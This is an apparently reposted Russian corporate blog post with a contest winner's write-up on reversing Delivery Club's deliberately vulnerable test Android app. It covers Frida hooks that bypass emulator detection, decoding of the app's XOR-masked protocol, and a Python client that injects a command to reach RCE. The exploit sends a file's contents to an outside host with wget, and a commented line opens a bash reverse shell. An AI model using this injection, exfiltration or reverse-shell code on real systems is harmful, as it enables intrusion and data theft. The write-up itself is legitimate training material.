...

пятница, 12 ноября 2021 г.

Реверс уязвимого приложения от Delivery Club: результаты конкурса

Привет! Меня зовут Илья Сафронов, я руковожу направлением информационной безопасности Delivery Club. Третьего дня мы запустили конкурс по реверсу и поиску уязвимости в тестовом Android-приложении. Целью было выполнение кода на бэкенде (RCE). За время конкурса APK скачали более 400 раз, а сломали всего два раза, Hall of Fame можно посмотреть на странице скачивания.

Теперь настало время рассказать, в чём заключалась задача и как её решать. Один из победителей — @D3fl4t3 — прислал нам отличный отчёт, его мы и представляем вашему вниманию.

Первичный осмотр

Перед нами Android-приложение. При запуске в эмуляторе предлагается нажать на кнопку, но при нажатии приложение вылетает. Внутри Java-части приложения тоже ничего интересного: кнопка вызывает нативный метод collectMetrics и в зависимости от возвращаемого значения выводит одно из двух сообщений.

Нативная библиотека

Библиотека хорошо обфусцирована техниками Control Flow Flattening, Opaque Predicate и многими другими. Идём в JNI_OnLoad, сразу проставляем тип JNIEnv* везде, где есть indirect call'ы. Из интересного там есть только RegisterNatives, поэтому идём сразу в collectMetrics. Очевидно, что там должны быть проверки на эмулятор, но где же они?

Ищем проверки окружения

Да, определённо это какие-то проверки на эмулятор. Так как из кода ничего не понятно, а писать деобфускатор пока что не хочется, набрасываем первый вариант скрипта для DBI-фреймворка Frida:

var hooked = false;

Java.perform(function() {
        let MainActivity_a = Java.use("com.example.dc_challenge.MainActivity$a");
        MainActivity_a.onClick.implementation = function (view) {
        if (!hooked) {
                disarmBuildChecks();
                hooked = true;
        }
        this.onClick(view);
        }
});

function disarmBuildChecks() {
        var config = {
        BOARD: "prada",
        BOOTLOADER: "unknown",
        BRAND: "Xiaomi",
        DEVICE: "prada",
        DISPLAY: "MMB29M",
        FINGERPRINT: "Xiaomi/prada/prada:6.0.1/MMB29M/v8.0.3.0.0.MCECNDG:user/release-keys",
        HARDWARE: "qcom",
        HOST: "c3-miui-ota-bd20",
        ID: "MMB29M",
        MANUFACTURER: "Xiaomi",
        MODEL: "Redmi 4",
        PRODUCT: "prada",
        RADIO: "unknown",
        SERIAL: "17fc681d",
        TAGS: "release-keys",
        TIME: 1476359370000,
        TYPE: "user",
        USER: "builder",
        };

        var Build = Java.use('android.os.Build');

        Object.keys(config).map(function (key) {
        Build[key].value = config[key];
        });
}

Пробуем нажать кнопку под фридой — и снова падение. Определённо, проверками build-параметров приложение не ограничивается. Копаем дальше.

В списке импортов ну очень много разных функций, и наиболее интересными видятся функции работы со строками. Возможно, какие-то из них используются для проверок окружения.

Пишем вспомогательную функцию для быстрой трассировки функций работы со строками:

function hook(name, count) {  
    Interceptor.attach(Module.findExportByName(«libc.so», name), {
        onEnter: function(args) {
            let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
            let arg = [];
            for (var i = 0; i < count; i++){
                try {
                    arg.push(Memory.readCString(args[i]));
                } catch (e) {}
            }
            if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
                console.log(name + '(»' + arg.join('», «') + '») ' + bt);
            }
        }
    });
 }  

И трейсим всё, что нашли в импортах:

 function makeHooks() {  
    hook(«strcmp», 2);
    hook(«strncmp», 2);
    hook(«strncpy», 2);
    hook(«strcat», 2);
    hook(«strchr», 1);
    hook(«strcspn», 2);
    hook(«strcpy», 2);
    hook(«strlen», 1);
    hook(«strcasecmp», 2);
    hook(«snprintf», 8);
    hook(«strdup», 1);
    hook(«strncasecmp», 2);
    hook(«strrchr», 1);
    hook(«strspn», 2);
    hook(«strstr», 2);
    hook(«strtol», 1);
    hook(«strtoul», 1);
 }  

Функция sprintf, судя по всему, используется для форматирования пути к файлам в папке /proc/self/fd:

snprintf("", "/proc/self/fd/%s", ".", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 
snprintf("", "/proc/self/fd/%s", "..", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 
snprintf("", "/proc/self/fd/%s", "0", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 
snprintf("", "/proc/self/fd/%s", "1", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5 
snprintf("", "/proc/self/fd/%s", "2", "G", "") 0x714d50f71ee5 libchallenge.so!0x96ee5  

Могут ли эти файлы компрометировать наш эмулятор? Давайте посмотрим:

generic_x86_64:/ # ls -la /proc/$(pidof 
com.example.dc_challenge)/fd
total 0
dr-x------ 2 u0_a130 u0_a130  0 2021-10-16 16:59 .
dr-xr-xr-x 9 u0_a130 u0_a130  0 2021-10-16 16:59 ..
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 0 -> /dev/null
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 1 -> /dev/null
lr-x------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 10 -> /apex/com.android.art/javalib/bouncycastle.jar
...
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 62 -> /dev/goldfish_pipe
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 63 -> /dev/goldfish_sync
lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 65 -> /dev/goldfish_pipe 

Определённо, файлы с названием "goldfish" относятся к эмулятору, так что нативная библиотека может находить их и крашить приложение. Возиться с хуком snprintf не очень хочется, поэтому сходим на адрес 0x96ee5 в IDA Pro и посмотрим, что ещё можно хукнуть.

Функция lstat выглядит отличным кандидатом на хук:

function disarmGoldfishCheck() {  
    Interceptor.attach(Module.findExportByName(«libc.so», «lstat»), {
        onEnter: function (args) {
            let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
            if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
                let filename = Memory.readCString(args[0]);
                console.log(«lstat(» + filename + «)»);
                if (filename.indexOf(»/proc/self/fd») !== -1) {
                    args[0].writeU8(0);
                }
            }
        }
    });
 }  

После этого всё наконец-то стало работать, и кнопка при нажатии говорит, что мы всё делаем правильно.

Протокол

В описании задания явно подразумевается, что есть некий бэкенд, с которым общается приложение. Огромное количество функций из OpenSSL намекает, что это происходит также в нативной библиотеке. Просматривая имена один за одним, мой взгляд упал на SSL_write. Исходя из названия, эта функция позволяет что-то писать по TLS, при этом она используется в какой-то функции 0x92a70 (все адреса приведены для архитектуры x86_64). Эта функция делает совсем немного работы, суть которой ясна даже с обфусцированным Control Flow: она подключается к серверу, отправляет payload по TLS и отключается.

Дальше делаем всё то же самое, что и всегда: пишем хук и смотрим, как эта функция вызывается.

function toHexString(addr, length) {  
    let result = '';
    for (var i = 0; i < length; i++) {
    result += ('0' + (addr.add(i).readU8() & 0xFF).toString(16)).slice(-2);
    }
    return result;
 }  
function makeTlsHook() {
    Interceptor.attach(Module.findBaseAddress(«libchallenge.so»).add(0x92a70), {
        onEnter: function(args) {
            console.log(toHexString(args[0], uint64(args[1].toString())));
        }
    })
 }  

Можно использовать встроенный hexdump, но будет проблематично потом перегонять его вывод в Python.

Вывод, уже частично раздекоженный Python’ом:

b'TRYHRDER\n\x00\xa3\x00\x00\x00\x00\x00\xe2;+^\xea;;^\x82;&^\x87;%^\x89;&^\xb2;%^\xb4;+^\xbc;+^\xa4;%^\xae;(^U;7^I;+^S<H?\xd2;#^\xb1TNp\xb7CB3\xa2WFp\xb6X|=\xbaZO2\xb7UD;\xa2IB:\xb3cJ?\xbdVJ.\xa0ZG?\x9fval\xebvq;\xb6VJ\xe7\rq;\xb6VJ\xe7\r[f\xe4d\x15j\xb6ZW;\xf2\x19\x08{\x9c\x19#3.\xaais\x1e\xa9mu\xef\x01\x9f\xdd^g\xa3\x156\xd2\x03\xdc\xd5PB^\xd2;#\xd2;#^'

Хотелось, конечно, сразу увидеть читаемый текст, однако в протоколе используется шифрование, поэтому следующим шагом нам нужно будет его расковырять.

Шифрование

Во-первых, возьмём сразу несколько payload’ов и сравним их между собой. Сразу становится понятно, что незашифрованный заголовок занимает первые 16 байт сообщения.

Во-вторых, если применить метод пристального взгляда, в шифротексте вырисовываются паттерны:

54525948524445520a00a30000000000  # заголовок (16 байт)
e23b2b5e
ea3b3b5e
823b265e
873b255e
893b265e
b23b255e
b43b2b5e
bc3b2b5e
a43b255e
ae3b285e
553b375e
493b2b5e
533c483fd23b235eb1544e70b7434233a2574670b6587c3dba5a4f32b755443ba249423ab3634a3fbd564a2ea05a473f9f76616ceb76713bb6564a7ee70d713bb6564a7ee70d5b66e464156ab65a573bf219087b9c1923332eaa69731ea96d75ef019fdd5e67a31536d203dcd550425ed23b23d23b235e

Интуиция подсказывает, что в протоколе есть 32-битные поля в little endian, которые XORятся каким-то неприлично маленьким ключом размером не более 4 байт (последние «5e» в каждой строке — это старшие байты незначительно отличающихся друг от друга чисел).

На этом моменте, в принципе, можно было уже подобрать ключ просто по шифротексту, однако я вспомнил, что в collectMetrics используется функция arc4random_buf, которая, скорее всего, и генерирует этот 4-байтный случайный ключ. Наверное, вы уже догадываетесь, к чему всё идёт.

function randHook() {         
      Interceptor.attach(Module.findExportByName(«libc.so», «arc4random_buf»), {
        onEnter: function (args) {
            this.buf = args[0];
            let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
            if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
                console.log(«arc4random_buf « + args[0] + « « + args[1] + « « + bt)
            }
        },
        onLeave: function (ret) {
            let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]);
          if (bt.moduleName.indexOf(«libchallenge.so») !== -1) {
                this.buf.writeU32(0);
            }
        }
    });
 }  

Так как ключ нулевой, шифротекст теперь совпадает с открытым текстом и читать его намного приятнее:

b'TRYHRDER\n\x00\xa1\x00\x00\x00\x00\x000\x00\x08\x008\x00\x18\x00P\x00\x05\x00U\x00\x06\x00[\x00\x05\x00`\x00\x06\x00f\x00\x07\x00m\x00\x07\x00t\x00\x06\x00z\x00\x0b\x00\x85\x00\x14\x00\x99\x00\x08\x00i\xd3ja\x00\x00\x00\x00com.example.dc_challengepradaXiaomipradaMMB29MRedmi 4Redmi 4x86_64date "+%N"\x00m\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\\x80K\xe4\xe9 j\xd3ja\x00\x00\x00\x00\x00\x00\x00\x00'

Что мы имеем в итоге:

  1. 16-байтный заголовок.

  2. 12 пар чисел типа short, содержащих смещения и длины хранимых строк.

  3. Сами строки без разделителей.

Пишем свой клиент

В результате многочисленных экспериментов я выяснил, что передаётся в сообщении:

  1. Имя пакета приложения.

  2. Некоторые поля из android.os.Build.

  3. Архитектура.

  4. Строка date "+%N»\\x00.

  5. Какое-то статичное 20-байтное значение, скорее всего, хеш сертификата для проверки, было ли приложение пропатчено и перепаковано.

  6. Время начала и конца формирования сообщения (в формате Unix Timestamp с точностью до секунд).

Дальше всё проще некуда: заменяем строку с "date" на wget --post-data "$(cat /opt/readme.txt)" ... и получаем флаг.

#!/usr/bin/env python3 
import struct, ssl, socket, time  
def xor(a, b):
    return bytes([x^y for x, y in zip(bytearray(a), 
bytearray(b))])
 def dump_buffer(buffer):  
    print(buffer[:16])
    key = buffer[-4:]
    buffer = buffer[:16] + xor(buffer[16:], key * 1000)
    numbers = []
    for i in range(16, 64, 4):
        numbers.append((struct.unpack('<H', buffer[i:i+2]) [0],
struct.unpack('<H', buffer[i+2:i+4]) [0]))
    for addr, length in numbers:
        print(buffer[16+addr:16+addr+length])
    print(buffer[64:])
 def make_buffer():  
    data = [
 struct.pack("<Q",int(time.time())),
b'com.example.dc_challenge',  
        b'prada',
         b'Xiaomi',
        b'prada',
        b'MMB29M',
        b'Redmi 56',
        b'Redmi 56',
        b'x86_64',
        b'wget --post-data «$(cat /opt/readme.txt)» https://putsreq.com/H9bjgvqaXTSEuBiJLYA5', #b'/bin/bash -i >& /dev/tcp/130.61.246.58/1337 0>&1',
        b'm\xfc\x91J-\xcc\x92N+=:\xbc\x83\x8c\\x80K\xe4\xe9 ',
  struct.pack("<Q", int (time.time ( )) + 1 
   ]  
    body = bytearray()
    offset = 0
    for piece in data:
    body += struct.pack("<H", len (data) * 4 + offset)
    body += struct.pack("<H", len (piece))
  offset += len (piece)
    for piece in data:
 body += piece  
    header = b"TRYHRDER\n\x00" + struct.pack("<H", len(body)) + b "\x00\x00\x00\x00"
key = b'\x00\x00\x00\x00'
 return header + xor(body, key * 1000) + key  
def do_ssl(buffer):
    context = ssl.create_default_context() 
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    with socket.create_connection((«146.185.209.143», 7821)) as sock:
  with context.wrap_socket(sock, 
server_hostname="146.185.209.143") as ssock:  
            print(ssock.version())
            ssock.send(buffer)
 
buffer = make_buffer() 
dump_buffer(buffer) 
do_ssl(buffer)  

Вывод

По результатам конкурса мы увидели, что подобные задачи вызывают интерес. Сложность именно этой была выше среднего, в следующий раз мы это учтём и пересмотрим формат, чтобы он был ближе большему числу людей. И ещё добавим новых призов. Чтобы не пропустить наши новые посты, подписывайтесь на блог. А за то, что вы такие молодцы и дочитали до конца, закажите себе кофе навынос через приложение Delivery Club.

Adblock test (Why?)

Комментариев нет:

Отправить комментарий